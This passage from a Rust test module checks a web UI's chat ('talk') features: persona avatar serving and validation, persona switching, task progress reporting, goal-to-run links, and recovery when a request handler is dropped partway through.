16070            uri(&missing),
16071        );
16072        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16073
16074        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16075        assert_eq!(
16076            (status, ct.as_str(), nosniff),
16077            (StatusCode::OK, "image/png", true)
16078        );
16079        assert_eq!(body, tiny_png());
16080        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16081        assert_eq!(ct, "image/png", "data URI");
16082
16083        for p in ["misato", "asuka", "shinji", "magi"] {
16084            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16085            assert_eq!(
16086                (status, ct.as_str(), csp),
16087                (StatusCode::OK, "image/svg+xml", true),
16088                "{p}"
16089            );
16090            assert!(body.starts_with(b"<svg"), "{p}");
16091        }
16092        // The page's own retry skips the icon.
16093        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16094        assert_eq!(ct, "image/svg+xml");
16095    }
16096
16097    #[tokio::test]
16098    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16099        let oversized = format!(
16100            "data:image/png;base64,{}",
16101            "A".repeat(persona_icon::ICON_MAX_BYTES)
16102        );
16103        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16104            let extra = format!(
16105                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16106            );
16107            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16108            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16109                .await
16110                .expect("detail with invalid icon");
16111            assert!(detail.personas.iter().any(|p| p.id == "custom"));
16112            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16113            assert_eq!(status, StatusCode::OK);
16114            assert_eq!(ct, "image/svg+xml");
16115            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16116            let Json(view) = talk_persona(
16117                State(Arc::clone(&ui)),
16118                Path(id.clone()),
16119                Json(TalkPersona {
16120                    persona: "custom".into(),
16121                }),
16122            )
16123            .await
16124            .expect("persona switch with invalid icon");
16125            assert_eq!(view.talk.persona, "custom");
16126            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16127        }
16128    }
16129
16130    #[tokio::test]
16131    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16132        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16133        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16134        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16135        assert_eq!(
16136            (status, ct.as_str(), nosniff, csp),
16137            (StatusCode::OK, "image/svg+xml", true, true)
16138        );
16139    }
16140
16141    #[tokio::test]
16142    async fn the_talk_view_carries_server_built_avatar_urls_only() {
16143        let (_t, _h, ui, id, _repo) =
16144            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16145        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16146            .await
16147            .expect("detail");
16148        let json = serde_json::to_string(&detail).unwrap();
16149        assert!(
16150            !json.contains("secret"),
16151            "the icon setting must not leak: {json}"
16152        );
16153        assert!(
16154            detail
16155                .view
16156                .persona_avatar
16157                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16158        );
16159        assert_eq!(
16160            detail.view.operator_avatar,
16161            format!(
16162                "/avatars/operator.svg?v={}",
16163                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16164            )
16165        );
16166        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16167        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16168        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16169        assert!(rei.avatar.contains("persona=rei&v="));
16170        assert_ne!(
16171            rei.avatar.split("&v=").nth(1),
16172            plain.avatar.split("&v=").nth(1)
16173        );
16174    }
16175
16176    #[tokio::test]
16177    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16178        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16179        let cfg = config_for(&repo).await.unwrap();
16180        for arrived in [false, true] {
16181            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16182            let observed = ui.queued_generation(&id);
16183            let talk = ui.talks.get(&id).unwrap();
16184            if arrived {
16185                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16186            }
16187            let mut settling = std::pin::pin!(settle_settings_turn(
16188                talk,
16189                ui.talks.clone(),
16190                cfg.clone(),
16191                id.clone(),
16192                turn,
16193                observed
16194            ));
16195            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16196            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16197            assert_eq!(first.is_pending(), arrived);
16198            if arrived {
16199                assert!(!settling.await);
16200            }
16201            assert!(!ui.is_thinking(&id));
16202        }
16203    }
16204
16205    #[tokio::test]
16206    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16207        let tmp = TempDir::new().expect("tempdir");
16208        let repo = tmp.path().join("repo");
16209        std::fs::create_dir_all(&repo).expect("repo dir");
16210        std::fs::write(
16211            repo.join("magi.toml"),
16212            format!(
16213                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16214            ),
16215        )
16216        .expect("write magi.toml");
16217        let home = TempDir::new().expect("temp home");
16218        let talks = Talks::at(home.path().join("talks"));
16219        let ui = Arc::new(
16220            Ui::new(
16221                Queue::at(home.path().join("queue")),
16222                Questions::at(home.path().join("questions")),
16223                talks.clone(),
16224                home.path().join("runs"),
16225                home.path().to_path_buf(),
16226                repo.clone(),
16227            )
16228            .with_worktrees_root(home.path().join("wt")),
16229        );
16230        let cfg = config_for(&repo).await.expect("discover config");
16231        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16232        let id = talk.id.clone();
16233        let call = |persona: &str| {
16234            talk_persona(
16235                State(Arc::clone(&ui)),
16236                Path(id.clone()),
16237                Json(TalkPersona {
16238                    persona: persona.to_owned(),
16239                }),
16240            )
16241        };
16242
16243        let unknown = call("nobody").await.expect_err("unknown persona");
16244        assert_eq!(
16245            unknown.status,
16246            StatusCode::BAD_REQUEST,
16247            "{}",
16248            unknown.message
16249        );
16250
16251        {
16252            // Nothing refused so far took a claim, so the guard is free to take
16253            // and holding it is what makes the talk busy.
16254            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16255            let busy = call("rei").await.expect_err("busy talk");
16256            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16257            assert!(
16258                busy.message.contains("a talk turn is running"),
16259                "{}",
16260                busy.message
16261            );
16262            drop(guard);
16263        }
16264        assert_eq!(talks.get(&id).expect("reload").persona, "");
16265
16266        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16267        assert_eq!(view.talk.persona, "gendo");
16268        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16269        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16270        // No intervening I/O or sleep may be needed before another change.
16271        for chosen in ["default", "gendo", "rei", "gendo"] {
16272            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16273            assert!(!view.thinking);
16274            assert!(!ui.is_thinking(&id));
16275        }
16276
16277        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16278            .await
16279            .expect("detail");
16280        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16281        assert_eq!(ids.first(), Some(&"default"));
16282        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16283
16284        let Json(view) = call("default").await.expect("back to default");
16285        assert_eq!(view.talk.persona, "");
16286
16287        let mut closed = talks.get(&id).expect("reload");
16288        talk::close(&mut closed, &talks).expect("close");
16289        let refused = call("rei").await.expect_err("closed talk");
16290        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16291        assert!(
16292            refused.message.contains("takes no more turns"),
16293            "{}",
16294            refused.message
16295        );
16296    }
16297
16298    #[tokio::test]
16299    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16300        let f = Fixture::start().await;
16301        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16302        let queue = f.queue();
16303        let mut mine = Task::new(
16304            "rename the loader".to_owned(),
16305            "rename the loader".to_owned(),
16306            PathBuf::from("/repo/magi"),
16307            Source::Agent {
16308                run: talk_id.clone(),
16309                node: "chat".to_owned(),
16310            },
16311        );
16312        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16313        assert_eq!(empty["task_progress"]["state"], "none");
16314        assert_eq!(empty["task_progress"]["total"], 0);
16315        queue.put(&mut mine).expect("file the task");
16316        let mut theirs = Task::new(
16317            "unrelated".to_owned(),
16318            "unrelated".to_owned(),
16319            PathBuf::from("/repo/magi"),
16320            Source::Human,
16321        );
16322        // A later task linked through origin_chat alone is outside this list.
16323        theirs.origin_chat = Some(talk_id.clone());
16324        queue.put(&mut theirs).expect("file the task");
16325
16326        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16327        assert_eq!(res.status, 200, "{}", res.body);
16328        let body = res.json();
16329        assert_eq!(
16330            body["status"], "open",
16331            "filing a task does not close a talk"
16332        );
16333        let tasks = body["tasks"].as_array().expect("tasks array");
16334        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16335        assert_eq!(tasks[0]["id"], mine.id);
16336        for status in [
16337            TaskStatus::Queued,
16338            TaskStatus::Running,
16339            TaskStatus::Held,
16340            TaskStatus::Failed,
16341            TaskStatus::Blocked,
16342            TaskStatus::Parked,
16343            TaskStatus::Done,
16344            TaskStatus::Queued,
16345        ] {
16346            mine.status = status;
16347            queue.put(&mut mine).expect("update status");
16348            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16349            let progress = &detail["task_progress"];
16350            assert_eq!(progress["total"], 1);
16351            assert_eq!(progress["counts"][status.as_str()], 1);
16352            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16353            assert_eq!(detail["status"], "open", "completion never closes the chat");
16354            if status == TaskStatus::Done {
16355                assert_eq!(progress["state"], "complete");
16356                assert_eq!(progress["done"], 1);
16357                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16358            } else {
16359                assert_eq!(progress["state"], "incomplete");
16360                assert_eq!(progress["done"], 0);
16361                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16362            }
16363        }
16364    }
16365
16366    #[test]
16367    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16368        let home = tempfile::tempdir().unwrap();
16369        let runs = home.path().join("runs");
16370        let queue = Queue::at(home.path().join("queue"));
16371        let talks = Talks::at(home.path().join("talks"));
16372        let config = stub_config();
16373        let repo = PathBuf::from("/repo/magi");
16374        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16375        let reserve_run = |repo| {
16376            let mut run = RunState::new(
16377                repo,
16378                "main".into(),
16379                "0000000".into(),
16380                "Follow the review".into(),
16381                config.clone(),
16382            );
16383            run.reserve_under(home.path()).unwrap();
16384            run
16385        };
16386        let older = reserve_run(repo.clone());
16387        let newer = reserve_run(repo.clone());
16388        let foreign = reserve_run(PathBuf::from("/repo/other"));
16389        let mismatched = reserve_run(repo.clone());
16390        let corrupt = reserve_run(repo.clone());
16391        let run_file = |id: &str| runs.join(id).join("run.json");
16392        std::fs::write(
16393            run_file(&mismatched.id),
16394            serde_json::to_vec(&older).unwrap(),
16395        )
16396        .unwrap();
16397        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16398        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16399            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16400                "id": "g", "purpose": "Follow the review", "scope": "review",
16401                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16402                "state": "waiting", "step": "Follow the recorded review",
16403                "source_turn": 0, "owner_input": "Follow the review",
16404                "tasks": tasks, "runs": runs, "watches": [],
16405                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16406                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16407            }))
16408            .unwrap()
16409        };
16410        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16411
16412        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16413        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16414
16415        let unusable = vec![
16416            foreign.id.clone(),
16417            mismatched.id.clone(),
16418            corrupt.id.clone(),
16419            "missing".into(),
16420            "../escape".into(),
16421        ];
16422        let mut references = vec![older.id.clone()];
16423        references.extend(unusable.clone());
16424        talk.goals = vec![goal(vec![], references)];
16425        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16426
16427        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16428        assert_eq!(link(&talk), None);
16429
16430        let mut task = Task::new(
16431            "Review".into(),
16432            "Follow the review".into(),
16433            repo,
16434            Source::Human,
16435        );
16436        queue.put(&mut task).unwrap();
16437        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16438        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16439
16440        task.runs.push(older.id.clone());
16441        queue.put(&mut task).unwrap();
16442        assert_eq!(link(&talk), Some(("run", older.id)));
16443    }
16444
16445    #[test]
16446    fn talk_task_progress_counts_mixed_statuses() {
16447        let mut tasks: Vec<_> = [
16448            TaskStatus::Queued,
16449            TaskStatus::Running,
16450            TaskStatus::Held,
16451            TaskStatus::Failed,
16452            TaskStatus::Blocked,
16453            TaskStatus::Parked,
16454            TaskStatus::Done,
16455        ]
16456        .into_iter()
16457        .map(|status| {
16458            let mut task = Task::new(
16459                "task".into(),
16460                "task".into(),
16461                PathBuf::from("/repo"),
16462                Source::Human,
16463            );
16464            task.status = status;
16465            task
16466        })
16467        .collect();
16468        let progress = talk_task_progress(&tasks);
16469        assert_eq!(progress.state, "incomplete");
16470        assert_eq!(progress.total, 7);
16471        assert_eq!(progress.done, 1);
16472        assert_eq!(progress.unfinished_ids.len(), 6);
16473        assert!(progress.counts.values().all(|count| *count == 1));
16474        assert_eq!(
16475            progress.unfinished_ids,
16476            tasks[..6]
16477                .iter()
16478                .map(|task| task.id.clone())
16479                .collect::<Vec<_>>()
16480        );
16481
16482        for task in &mut tasks {
16483            task.status = TaskStatus::Done;
16484        }
16485        let complete = talk_task_progress(&tasks);
16486        assert_eq!(complete.state, "complete");
16487        assert_eq!(complete.done, 7);
16488        assert!(complete.unfinished_ids.is_empty());
16489        tasks[0].status = TaskStatus::Queued;
16490        let requeued = talk_task_progress(&tasks);
16491        assert_eq!(requeued.state, "incomplete");
16492        assert_eq!(requeued.done, 6);
16493        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16494
16495        let empty = talk_task_progress(&[]);
16496        assert_eq!(empty.state, "none");
16497        assert_eq!(empty.total, 0);
16498        assert_eq!(empty.done, 0);
16499        assert!(empty.unfinished_ids.is_empty());
16500        assert!(empty.counts.values().all(|count| *count == 0));
16501    }
16502
16503    #[tokio::test]
16504    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16505        let (_tmp, _repo, f) = talk_fixture().await;
16506        let id = f.post("/api/talks", None).await.json()["id"]
16507            .as_str()
16508            .expect("id")
16509            .to_owned();
16510
16511        let res = f
16512            .post(
16513                &format!("/api/talks/{id}/say"),
16514                Some(r#"{"text":"what does the queue module do?"}"#),
16515            )
16516            .await;
16517        assert_eq!(res.status, 202, "{}", res.body);
16518        let queued = res.json();
16519        let turns = queued["turns"].as_array().expect("turns array");
16520        assert_eq!(
16521            turns.len(),
16522            1,
16523            "the answer reflects only what is on disk the instant it is sent, \
16524             before the agent's turn - which can run for the whole of \
16525             `[graph] timeout_talk` - has a chance to land: {queued}"
16526        );
16527        assert_eq!(turns[0]["who"], "operator");
16528        assert_eq!(turns[0]["body"], "what does the queue module do?");
16529        assert_eq!(
16530            queued["thinking"], true,
16531            "the accepted response exposes the background turn claim: {queued}"
16532        );
16533
16534        let mut turns_after = 1;
16535        for _ in 0..SETTLE_STEPS {
16536            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16537            turns_after = detail["turns"].as_array().expect("turns array").len();
16538            if turns_after == 2 {
16539                break;
16540            }
16541            tokio::time::sleep(Duration::from_millis(10)).await;
16542        }
16543        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16544    }
16545
16546    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16547    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16548    /// guards against: `talk::record` used to return, and only *then* did the
16549    /// handler make a second, separate disk round trip before spawning the
16550    /// agent's reply task. A future dropped in that gap left a message
16551    /// recorded on disk with no reply task ever started and no way back short
16552    /// of a fresh message - and the gap was not even the whole story: *any*
16553    /// `.await` in this handler, including the very first one, is a point
16554    /// where a drop can land after the awaited work already finished but
16555    /// before this handler's own code resumes to act on it. `record` now
16556    /// runs inside the task `tokio::spawn` hands to the runtime before this
16557    /// handler ever awaits anything of its own again, so there is nothing
16558    /// left in *this* handler's future for a disconnect to interrupt between
16559    /// the message landing on disk and the reply task starting.
16560    ///
16561    /// A real socket disconnect cannot be relied on to land in the old gap
16562    /// from a test - over loopback, `talk_say` typically finishes before the
16563    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16564    /// same failure mode directly: it drops the task's future at whatever
16565    /// point it has reached, exactly what axum does to the handler future,
16566    /// without needing to win a real network race. Sweeping the delay before
16567    /// aborting samples a range of points the task's execution can be at,
16568    /// including where the old code sat waiting on its second disk round
16569    /// trip - confirmed by reverting this fix locally and watching this same
16570    /// sweep catch a talk stuck with the operator's turn recorded and no
16571    /// reply ever following.
16572    #[tokio::test]
16573    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16574        let tmp = TempDir::new().expect("tempdir");
16575        let repo = tmp.path().join("repo");
16576        std::fs::create_dir_all(&repo).expect("repo dir");
16577        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16578        let home = TempDir::new().expect("temp home");
16579        let talks = Talks::at(home.path().join("talks"));
16580        let ui = Arc::new(
16581            Ui::new(
16582                Queue::at(home.path().join("queue")),
16583                Questions::at(home.path().join("questions")),
16584                talks.clone(),
16585                home.path().join("runs"),
16586                home.path().to_path_buf(),
16587                repo.clone(),
16588            )
16589            .with_worktrees_root(home.path().join("wt")),
16590        );
16591        let cfg = config_for(&repo).await.expect("discover config");
16592
16593        for delay in 0..40u32 {
16594            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16595            let id = talk.id.clone();
16596
16597            let handler = tokio::spawn(talk_say(
16598                State(Arc::clone(&ui)),
16599                Path(id.clone()),
16600                Ok(Json(NewTalkTurn {
16601                    reply_to: None,
16602                    text: "what does the queue module do?".to_owned(),
16603                    attachments: Vec::new(),
16604                })),
16605            ));
16606            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16607            handler.abort();
16608            // Wait out the abort so the next iteration's talk does not race
16609            // this one's still-unwinding turn guard.
16610            let _ = handler.await;
16611
16612            let mut turns = 0;
16613            for _ in 0..SETTLE_STEPS {
16614                if let Ok(fresh) = talks.get(&id) {
16615                    turns = fresh.turns.len();
16616                    if turns != 1 {
16617                        break;
16618                    }
16619                }
16620                tokio::time::sleep(Duration::from_millis(10)).await;
16621            }
16622            assert_ne!(
16623                turns, 1,
16624                "delay {delay}: talk {id} recorded the operator's turn but \
16625                 the agent never answered - the reply task was never \
16626                 started after the handler future was dropped"
16627            );
16628        }
16629    }
16630
16631    /// The same drop, landing on `talk_say`'s other durable write.
16632    ///
16633    /// When a turn is already running, the busy branch persists the
16634    /// operator's text as a queued draft and then reclaims the turn slot if
16635    /// the holder gave it up in the meantime - and whoever reclaims owes that
16636    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16637    /// which finishes whether or not the future awaiting it is still there,
16638    /// so a handler dropped at that `.await` used to leave the draft written
16639    /// to disk with the reclaimed guard dropped unread and no drainer ever
16640    /// started: the message sat queued until some unrelated later `say`
16641    /// happened to pick it up.
16642    ///
16643    /// This used to drive the handler future by hand, polling it a fixed
16644    /// number of times to park it at the `.await` where it asks for the turn
16645    /// and finds it busy, before the reclaim's slot-free case could be set up
16646    /// underneath it. That assumed a fixed number of polls lands at a fixed
16647    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16648    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16649    /// poll, so any number of this handler's several `blocking` awaits can
16650    /// collapse into one poll under load, landing the drive somewhere other
16651    /// than intended - including, occasionally, straight past the handler's
16652    /// own completion, which made polling it again panic with "async fn
16653    /// resumed after completion". No poll count fixes that; the handler's
16654    /// progress simply is not something a caller outside it can observe by
16655    /// counting.
16656    ///
16657    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16658    /// inside the write itself, so the interleaving under test is pinned by
16659    /// an event instead of a guess: the gate fires only once the handler has
16660    /// actually decided `Busy` and is about to persist the draft, and it
16661    /// blocks that write until the test lets it through. Between those two
16662    /// moments the test drains the turn the handler found busy - through
16663    /// `drain_loop`, the protocol's other half - and then aborts the handler
16664    /// task outright, the same way axum drops a disconnected request's
16665    /// future. The write, and the reclaim it may do, run to completion
16666    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16667    /// to the runtime before ever touching the gate, wholly independent of
16668    /// whether the handler that started it is still around - which is what
16669    /// this test is actually checking. A drainer other than that reclaim
16670    /// cannot exist here: the test's own `drain_loop` call happens before the
16671    /// gate opens, so it runs while the queue is still empty and hands the
16672    /// turn straight back rather than draining anything, closing off the
16673    /// possibility of the final assertion passing without the reclaim ever
16674    /// having done its job.
16675    #[tokio::test]
16676    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16677        let tmp = TempDir::new().expect("tempdir");
16678        let repo = tmp.path().join("repo");
16679        std::fs::create_dir_all(&repo).expect("repo dir");
16680        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16681        let home = TempDir::new().expect("temp home");
16682        let talks = Talks::at(home.path().join("talks"));
16683        let ui = Arc::new(
16684            Ui::new(
16685                Queue::at(home.path().join("queue")),
16686                Questions::at(home.path().join("questions")),
16687                talks.clone(),
16688                home.path().join("runs"),
16689                home.path().to_path_buf(),
16690                repo.clone(),
16691            )
16692            .with_worktrees_root(home.path().join("wt")),
16693        );
16694        let cfg = config_for(&repo).await.expect("discover config");
16695        // Both waits guard against hangs, not slow filesystem or Git work on
16696        // a loaded test host. The gates and lock polls assert the ordering.
16697        let hang_guard = Duration::from_secs(30);
16698
16699        for attempt in 0..3u32 {
16700            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16701            let id = talk.id.clone();
16702            // A turn is already running, which is what sends `talk_say` down
16703            // the busy branch.
16704            let turn_guard = ui
16705                .begin_talk_turn(&id)
16706                .expect("claim the turn")
16707                .expect("a fresh talk owes nobody a turn");
16708
16709            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16710            let (release_tx, release_rx) = std::sync::mpsc::channel();
16711            ui.set_busy_queue_gate(BusyQueueGate {
16712                reached: reached_tx,
16713                release: release_rx,
16714            });
16715
16716            let handler = tokio::spawn(talk_say(
16717                State(Arc::clone(&ui)),
16718                Path(id.clone()),
16719                Ok(Json(NewTalkTurn {
16720                    reply_to: None,
16721                    text: "what does the queue module do?".to_owned(),
16722                    attachments: Vec::new(),
16723                })),
16724            ));
16725
16726            // Wait for the busy branch to actually reach the gate, rather
16727            // than for any fixed number of polls of anything - a bounded
16728            // wait rather than a bare `.await` so a regression that never
16729            // reaches the gate fails the test instead of hanging it.
16730            tokio::time::timeout(hang_guard, reached_rx)
16731                .await
16732                .unwrap_or_else(|_| {
16733                    panic!(
16734                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16735                    )
16736                })
16737                .expect("the busy branch dropped the gate without using it");
16738            assert!(
16739                crate::chat_worker::try_publication_guard(&talks, &id)
16740                    .expect("publication fence")
16741                    .is_none(),
16742                "a queued worker cannot promote text before its successor reservation is published"
16743            );
16744
16745            // A listener replacement queues its writer behind this accepted
16746            // mutation. Even disconnecting the HTTP caller must not release
16747            // admission before the write-to-worker handoff has completed.
16748            let closing = Arc::clone(&ui.admissions).write_owned();
16749            tokio::pin!(closing);
16750            std::future::poll_fn(|cx| {
16751                assert!(closing.as_mut().poll(cx).is_pending());
16752                std::task::Poll::Ready(())
16753            })
16754            .await;
16755            assert!(
16756                ui.begin_admission().is_err(),
16757                "replacement blocks later admissions"
16758            );
16759
16760            // The turn that was running now finishes and gives the slot up
16761            // the way a real one does - through `drain_loop`, which finds
16762            // nothing queued yet (the write is still held at the gate) and
16763            // releases. The handler, parked inside `spawn_blocking` on the
16764            // other side of the gate, still believes the talk is busy -
16765            // exactly the interleaving the reclaim exists for.
16766            let running = talks.get(&id).expect("reload talk");
16767            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16768
16769            // Drop the handler future now, the way a reloading phone drops
16770            // it: suspended waiting on the busy branch's answer, having
16771            // itself made no more progress since it handed the write off.
16772            handler.abort();
16773            let _ = handler.await;
16774            std::future::poll_fn(|cx| {
16775                assert!(
16776                    closing.as_mut().poll(cx).is_pending(),
16777                    "HTTP cancellation must not abandon a publishing transaction"
16778                );
16779                std::task::Poll::Ready(())
16780            })
16781            .await;
16782            assert!(
16783                crate::chat_worker::try_publication_guard(&talks, &id)
16784                    .expect("publication fence after disconnect")
16785                    .is_none()
16786            );
16787
16788            // Only now let the gated write proceed. It persists the draft
16789            // and reclaims the now-free slot from inside the task the busy
16790            // branch already spawned - unaffected by the handler's abort
16791            // above, since that task was independent of the handler's own
16792            // future from the moment it was spawned.
16793            release_tx.send(()).expect("busy queue write still gated");
16794            drop(
16795                tokio::time::timeout(hang_guard, closing)
16796                    .await
16797                    .unwrap_or_else(|_| {
16798                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16799                    }),
16800            );
16801            assert!(
16802                crate::chat_worker::try_publication_guard(&talks, &id)
16803                    .expect("publication fence after acknowledgement")
16804                    .is_some(),
16805                "the publication fence is not retained by the long response"
16806            );
16807
16808            // A settled talk: the draft drained into an operator turn and
16809            // answered.
16810            let mut fresh = talks.get(&id).expect("reload talk");
16811            for _ in 0..SETTLE_STEPS {
16812                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16813                    break;
16814                }
16815                tokio::time::sleep(Duration::from_millis(10)).await;
16816                fresh = talks.get(&id).expect("reload talk");
16817            }
16818            assert!(
16819                fresh.pending.is_empty() && fresh.turns.len() == 2,
16820                "attempt {attempt}: talk {id} left the operator's text queued \
16821                 with no drainer - the reclaimed turn was dropped along with \
16822                 the handler future (pending {:?}, {} turns)",
16823                fresh.pending,
16824                fresh.turns.len()
16825            );
16826        }
16827    }
16828
16829    #[tokio::test]
16830    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16831        let (_tmp, _repo, f) = talk_fixture().await;
16832        let id = f.post("/api/talks", None).await.json()["id"]
16833            .as_str()
16834            .expect("id")
16835            .to_owned();
16836        let store = f.talks();
16837        let mut recovered = store.get(&id).expect("opened talk");
16838        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16839            .expect("persist pending draft without a live turn");
16840
16841        let edited = f
16842            .post(
16843                &format!("/api/talks/{id}/pending/edit"),
16844                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16845            )
16846            .await;
16847        assert_eq!(edited.status, 200, "{}", edited.body);
16848        assert!(edited.json()["thinking"].as_bool().unwrap());
16849
16850        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16851        for _ in 0..SETTLE_STEPS {
16852            if detail["turns"].as_array().expect("turns").len() == 2 {
16853                break;
16854            }
16855            tokio::time::sleep(Duration::from_millis(10)).await;
16856            detail = f.get(&format!("/api/talks/{id}")).await.json();
16857        }
16858        let turns = detail["turns"].as_array().expect("turns");
16859        assert_eq!(
16860            turns.len(),
16861            2,
16862            "the recovered draft must run once: {detail}"
16863        );
16864        assert_eq!(turns[0]["body"], "corrected");
16865        assert_eq!(detail["pending"], "");
16866    }
16867
16868    #[tokio::test]
16869    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16870        let tmp = TempDir::new().expect("tempdir");
16871        let repo = tmp.path().join("repo");
16872        std::fs::create_dir_all(&repo).expect("repo dir");
16873        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16874        let f = Fixture::with_repo(repo).await;
16875        let id = f.post("/api/talks", None).await.json()["id"]
16876            .as_str()
16877            .expect("id")
16878            .to_owned();
16879        let store = f.talks();
16880        let mut recovered = store.get(&id).expect("opened talk");
16881        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16882            .expect("persist pending draft without a live turn");
16883
16884        let refused = f
16885            .post(
16886                &format!("/api/talks/{id}/say"),
16887                Some(r#"{"text":"new message"}"#),
16888            )
16889            .await;
16890        assert_eq!(refused.status, 409, "{}", refused.body);
16891        assert!(refused.body.contains("resume"), "{}", refused.body);
16892        let saved = store.get(&id).expect("draft remains after refusal");
16893        assert!(saved.turns.is_empty());
16894        assert_eq!(saved.pending, "saved before restart");
16895
16896        let say_path = format!("/api/talks/{id}/say");
16897        let (first, second) = tokio::join!(
16898            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16899            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16900        );
16901        assert_eq!(first.status, 409, "{}", first.body);
